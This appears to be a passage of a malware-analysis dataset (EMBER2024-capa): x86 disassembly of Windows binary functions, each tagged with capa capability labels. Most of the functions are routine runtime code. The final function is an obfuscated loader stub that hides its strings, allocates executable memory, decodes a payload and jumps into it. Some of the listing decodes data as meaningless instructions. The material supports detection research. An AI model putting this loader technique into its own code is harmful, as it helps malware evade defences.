joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10015540
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov esi, edx
push edi
mov edi, ecx
mov eax, dword [edi]
cmp ebx, 8
jb 0x100155db
mov edx, ebx
shr edx, 3
mov ecx, edx
neg ecx
lea ebx, [ebx + ecx*8]
xor eax, dword [esi]
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x100775f0]
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x100775f0]
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x100775f0]
mov ecx, eax
movzx eax, cl
shr ecx, 8
mov eax, dword [eax*4 + 0x100775f0]
xor eax, dword [esi + 4]
add esi, 8
xor eax, ecx
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x100775f0]
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x100775f0]
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x100775f0]
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x100775f0]
sub edx, 1
jne 0x10015562
test bl, 4
je 0x1001561c
xor eax, dword [esi]
sub ebx, 4
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x100775f0]
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x100775f0]
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x100775f0]
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x100775f0]
add esi, 4
test ebx, ebx
je 0x1001563a
movzx edx, byte [esi]
lea esi, [esi + 1]
movzx ecx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x100775f0]
sub ebx, 1
jne 0x10015620
mov dword [edi], eax
pop edi
pop esi
pop ebx
ret

Function at 0x10022acf
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10022b0e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10022b0e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10022b0e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10022b0e
cmp dword [ecx + 0x74], 0xe
jbe 0x10022b0e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1002573b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x1007d700]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1002577b
cmp byte [ebx], 0xa
jne 0x1002577b
or byte [edi + eax + 0x28], 4
jmp 0x10025780
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x1002587f
mov dl, byte [eax]
cmp dl, 0x1a
je 0x10025862
inc eax
cmp dl, 0xd
je 0x100257ac
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x100257d2
cmp eax, ecx
jae 0x100257e0
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x10025794
jmp 0x1002587f
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1002585d
cmp dword [ebp - 0x10], 0
je 0x1002585d
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x1007d700]
test byte [eax + edi + 0x28], 0x48
je 0x10025837
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x10025822
mov byte [esi], dl
jmp 0x10025833
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x1007d700]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x1002587f
cmp byte [ebp - 1], 0xa
jne 0x10025846
cmp esi, ebx
jne 0x10025846
mov byte [esi], 0xa
jmp 0x1002587e
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.10048d9c
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x1002587f
mov byte [esi], 0xd
jmp 0x1002587e
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x1007d700]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x1002587c
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x1002587f
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10025888
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x1007d700]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x100258ce
cmp word [ebx], dx
jne 0x100258ce
or byte [eax + edi + 0x28], 4
jmp 0x100258d3
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x10025a36
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x10025a16
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x10025914
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x1002594a
cmp eax, edx
jae 0x10025958
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x100258ef
jmp 0x10025a36
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10025a11
cmp dword [ebp - 0x18], 0
je 0x10025a11
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x1007d700]
test byte [eax + edi + 0x28], 0x48
je 0x100259e7
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x100259ab
mov word [esi], cx
jmp 0x100259e2
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x1007d700]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x1007d700]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x1007d700]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x10025a36
pop eax
cmp word [ebp - 4], ax
jne 0x100259f7
cmp esi, ebx
jne 0x100259f7
mov word [esi], ax
jmp 0x10025a33
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.10048d9c
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x10025a36
push 0xd
pop eax
jmp 0x100259f2
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x1007d700]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x10025a30
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x10025a36
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10027f70
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x1007c008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x1006f344
push esi
call fcn.1005296f
pop ecx
pop ecx
test eax, eax
jne 0x10027f9e
xor al, al
jmp 0x1002801b
push ebx
lea eax, [ebp - 0x210]
xor ebx, ebx
push eax
push 0x104
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], ebx
push esi
push eax
call fcn.10027bcd
mov edx, eax
add esp, 0x10
test edx, edx
jne 0x10027fd8
push dword [ebp - 0x210]
call fcn.1004260a
xor al, al
jmp 0x10028019
mov ecx, edx
push edi
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x10027fde
sub ecx, edi
sar ecx, 1
pop edi
cmp ecx, 3
je 0x10027ffe
push edx
call fcn.10027ea7
pop ecx
test al, al
je 0x10027fc9
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x1002800c
mov bl, 1
push dword [ebp - 0x210]
call fcn.1004260a
mov al, bl
pop ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10015fc5
leave
ret
Function at 0x1004db39
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1007057c
push 0x10070574
push str.FlsAlloc
push 0x1f
call fcn.1004d807
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1004db6d
push dword [ebp + 8]
mov ecx, esi
call dword [0x1006e184]
call esi
jmp 0x1004db73
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1004dbb7
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1007058c
push 0x10070584
push str.FlsGetValue
push 0x21
call fcn.1004d807
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1004dbee
push dword [ebp + 8]
mov ecx, esi
call dword [0x1006e184]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1004dbf6
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10070594
push 0x1007058c
push str.FlsSetValue
push 0x22
call fcn.1004d807
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1004dc30
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1006e184]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1004ec79
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.1004ea87
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x1004ede8
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x1004ede8
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x1004ed9d
jg 0x1004ecd5
test eax, eax
je 0x1004ed93
push 1
push 0x1000
call fcn.10051519
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x1004ecf8
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1004ed8a
push 0x8000
push ebx
call fcn.1004c55e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x1004ed21
jg 0x1004ed1c
cmp ecx, 0x1000
jb 0x1004ed21
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.10049751
add esp, 0x10
cmp eax, 0xffffffff
je 0x1004ed66
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x1004ed1c
jl 0x1004ed4d
test ecx, ecx
jne 0x1004ed0e
push dword [ebp - 0xc]
push ebx
call fcn.1004c55e
push esi
call fcn.1004c33c
add esp, 0xc
xor ebx, ebx
jmp 0x1004edf6
cmp byte [edi + 0x24], 0
je 0x1004ed7d
cmp dword [edi + 0x20], 5
jne 0x1004ed7d
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x1004ed88
mov ebx, dword [edi + 0x18]
jmp 0x1004ed8a
xor ebx, ebx
push esi
call fcn.1004c33c
pop ecx
jmp 0x1004edf6
test ecx, ecx
jg 0x1004ed5f
jl 0x1004ed9d
test eax, eax
jae 0x1004ed5f
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10048d9c
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1004edbd
cmp byte [edi + 0x1c], 0
je 0x1004ed5f
jmp 0x1004edee
push ebx
call fcn.1004e7f1
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1004ed5f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1004edf6
cmp byte [edi + 0x1c], 0
je 0x1004edf3
mov ebx, dword [edi + 0x18]
jmp 0x1004edf6
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.10048d9c
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100564b2
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10056386
Function at 0x1005a313
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x1007c008]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x1005a35e
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.1005a670
test al, al
jne 0x1005a358
sub edx, 2
cmp edx, edi
jne 0x1005a33e
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x1005a380
lea eax, [edi + 2]
cmp edx, eax
je 0x1005a380
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.10059fda
add esp, 0x10
jmp 0x1005a47a
push esi
lea ecx, [ebp - 0x255]
call fcn.1005a670
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1005a3c3
push dword [ebp - 0x25c]
jmp 0x1005a370
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x1005a400
cmp word [ebp - 0x226], 0
je 0x1005a421
cmp word [ebp - 0x226], ax
jne 0x1005a400
cmp word [ebp - 0x224], 0
je 0x1005a421
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.10059fda
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x1005a46d
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x1005a3da
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x1005a455
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x1005a47a
push 0x10059bdc
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.10022250
add esp, 0x10
jmp 0x1005a44a
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10015fc5
leave
ret
Function at 0x1005b6bb
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1005b758
push ebx
push esi
call fcn.1005b677
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10051110
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1005b705
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1005b757
push edi
push eax
call fcn.1004c376
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1005b725
call fcn.1004c33c
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1005b756
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10051110
add esp, 0x20
test eax, eax
jne 0x1005b744
push edi
call fcn.1004c33c
jmp 0x1005b74c
push ebx
call fcn.1004c33c
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1005b75b
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x1005b76c
pop esi
ret
push ebx
push edi
push esi
call fcn.1005b677
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.1004c376
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x1005b794
push ebx
push esi
push edi
call fcn.1001fe70
add esp, 0xc
push 0
call fcn.1004c33c
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x1005c039
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1005ba09

Function at 0x1005f5e1
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.1004ced3
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1005f650
cmp esi, dword [ebp - 4]
je 0x1005f64b
cmp dword [ebp + 0xc], 0
je 0x1005f64b
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x1005f628
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.1005f133
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x1005f652
xor eax, eax
inc eax
jmp 0x1005f652
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x1005f6b7
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1007c008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.1004ced3
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.1004ced3
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x1005f72e
cmp word [ecx], dx
je 0x1005f72e
mov eax, dword [0x100741c4]
push edi
dec eax
push eax
push 0x100740b0
call fcn.1005f656
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x1005f7a1
cmp word [eax], dx
je 0x1005f7a1
mov eax, dword [edi]
test eax, eax
je 0x1005f752
cmp word [eax], dx
je 0x1005f752
lea eax, [ebp - 0x10]
push eax
call fcn.1005f039
jmp 0x1005f75b
lea eax, [ebp - 0x10]
push eax
call fcn.1005f0d4
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x1005f7cb
mov eax, dword [0x100740ac]
push dword [ebp - 0x14]
dec eax
push eax
push 0x10073da0
call fcn.1005f656
add esp, 0xc
test al, al
je 0x1005f7cb
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x1005f796
cmp word [eax], di
je 0x1005f796
lea eax, [ebp - 0x10]
push eax
call fcn.1005f039
pop ecx
jmp 0x1005f7cd
lea eax, [ebp - 0x10]
push eax
call fcn.1005f0d4
jmp 0x1005f793
mov eax, dword [edi]
test eax, eax
je 0x1005f7b8
cmp word [eax], dx
je 0x1005f7b8
lea eax, [ebp - 0x10]
push eax
call fcn.1005efd0
pop ecx
jmp 0x1005f7cb
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x1005f896
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.1005f4db
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x1005f896
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x1005f896
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x1005f896
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1005f823
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.1004dec7
test ebx, ebx
je 0x1005f891
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.1004dec7
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1005f896
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1005f896
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.10055cad
add esp, 0x10
xor eax, eax
inc eax
jmp 0x1005f898
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10015fc5
leave
ret
Function at 0x1005fd02
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1007c008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp eax, 0x1a
jbe 0x1005fd45
call fcn.10042558
mov dword [eax], 0xf
call fcn.1004256b
mov dword [eax], 0xd
call fcn.1004b9a3
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10015fc5
leave
ret
test eax, eax
jne 0x1005fd4c
inc eax
jmp 0x1005fd39
add eax, 0x40
push 0x3a
mov word [ebp - 0xc], ax
pop eax
mov word [ebp - 0xa], ax
push 0x5c
pop eax
mov word [ebp - 8], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, eax
test ecx, ecx
je 0x1005fd37
xor eax, eax
cmp ecx, 1
setne al
jmp 0x1005fd39

Function at 0x401010
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add eax, 2
mov dword [ebp], eax
add byte [eax], al
add byte [eax], cl
add dword [eax], eax
add byte [eax], ah
and byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx - 0x3d7c03ab], cl
or cl, byte [ecx + 0x2068fc55]
dec esi
add byte [eax], al
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x25815dce
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x25815ddd
pop dword [ebp - 0x2c]
mov eax, 0x7abb5605
add eax, 0xaac607d8
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xa16f685
sub dword [ebp - 0x3c], 0xbbc4b13a
mov dword [ebp - 0x38], 0xdf5e1658
add dword [ebp - 0x38], 0x52d535ed
mov dword [ebp - 0x34], 0xc8973d3c
add dword [ebp - 0x34], 0x83b506f2
mov dword [ebp - 0x30], 0xb7d9d31e
add dword [ebp - 0x30], 0x48262ce2
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xf0351214
add eax, 0x354cbe30
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x535f70d8
sub dword [ebp - 0x3c], 0xdeed0782
mov dword [ebp - 0x38], 0x229cb39e
sub dword [ebp - 0x38], 0xe1305229
mov dword [ebp - 0x34], 0x6a4eacac
add dword [ebp - 0x34], 0xf920bfc0
mov dword [ebp - 0x30], 0xe803b0fb
sub dword [ebp - 0x30], 0xe803b0fb
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3a6c5
push 0
call eax
mov ecx, 0x3f8f
mov edi, eax
mov esi, 0x25829600
add esi, dword [ebp - 0x2c]
mov ebx, 0x748e3bd1
add ebx, 0x2f252ccd
mov dword [ebp - 0x28], 0xec295f4f
mov edx, dword [esi]
mov dword [ebp - 0x20], 0xf7359981
add edx, ebx
sub dword [ebp - 0x1c], eax
mov dword [edi], edx
xor dword [ebp - 0x18], ebx
add edi, 0xd001110
sub edi, 0xd00110c
add esi, 0x5e5de077
add esi, 0xa1a21f8d
loop 0x25815eee
add eax, 0x83d29d62
sub eax, 0x83d1ac53
xor ebx, ebx
add ebx, eax
add eax, 0x390cc008
add eax, 0xc6f33ffd
mov ecx, 0x25800000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret